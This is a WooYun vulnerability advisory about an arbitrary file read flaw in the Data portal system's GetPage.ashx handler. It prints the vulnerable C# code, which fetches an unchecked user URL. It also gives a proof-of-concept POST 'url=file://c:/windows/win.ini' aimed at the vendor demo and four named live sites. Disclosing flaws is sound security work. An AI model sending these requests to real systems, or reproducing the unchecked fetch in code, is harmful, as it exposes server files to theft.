当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087735

漏洞标题:Data地方门户系统 任意文件读取

相关厂商:htmdata.com

漏洞作者: hello

提交时间:2014-12-25 17:17

修复时间:2015-03-25 17:18

公开时间:2015-03-25 17:18

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-25: 厂商已经确认,细节仅向厂商公开
2014-12-28: 细节向第三方安全合作伙伴开放
2015-02-18: 细节向核心白帽子及相关领域专家公开
2015-02-28: 细节向普通白帽子公开
2015-03-10: 细节向实习白帽子公开
2015-03-25: 细节向公众公开

简要描述:

官网:http://htmdata.com/
demo站点 http://demo.htmdata.com/
Power by Data地方门户系统

详细说明:

地址

http://demo.htmdata.com/ashx/GetPage.ashx


主要源码如下

public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string s = "";
string requestUriString = Tool.CStr(context.Request["url"]);
try
{
WebRequest request = WebRequest.Create(requestUriString);
WebResponse response = request.GetResponse();
Stream responseStream = response.GetResponseStream();
using (StreamReader reader = new StreamReader(responseStream, Encoding.UTF8))
{
s = reader.ReadToEnd();
}
request.Abort();
response.Close();
responseStream.Dispose();
}
catch (Exception)
{
}
context.Response.Write(s);
}


如果url为file://url 就可以下载任意文件了

漏洞证明:

漏洞证明
官网
访问

http://demo.htmdata.com/ashx/GetPage.ashx


post提交

url=file://c:/windows/win.ini


331.png


案例二

http://www.qidongr.com/ashx/GetPage.ashx


post提交

url=file://c:/windows/win.ini


332.png


案例三

http://www.akshw.net/ashx/GetPage.ashx


post提交

url=file://c:/windows/win.ini


333.png


案例四

http://www.anhua0737.com/ashx/GetPage.ashx


post提交

url=file://c:/windows/win.ini


334.png


案例五

http://www.zzluyi.com/ashx/GetPage.ashx


post提交

url=file://c:/windows/win.ini


335.png

修复方案:

对file://进行判断处理

版权声明:转载请注明来源 hello@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-12-25 17:29

厂商回复:

感谢

最新状态:

暂无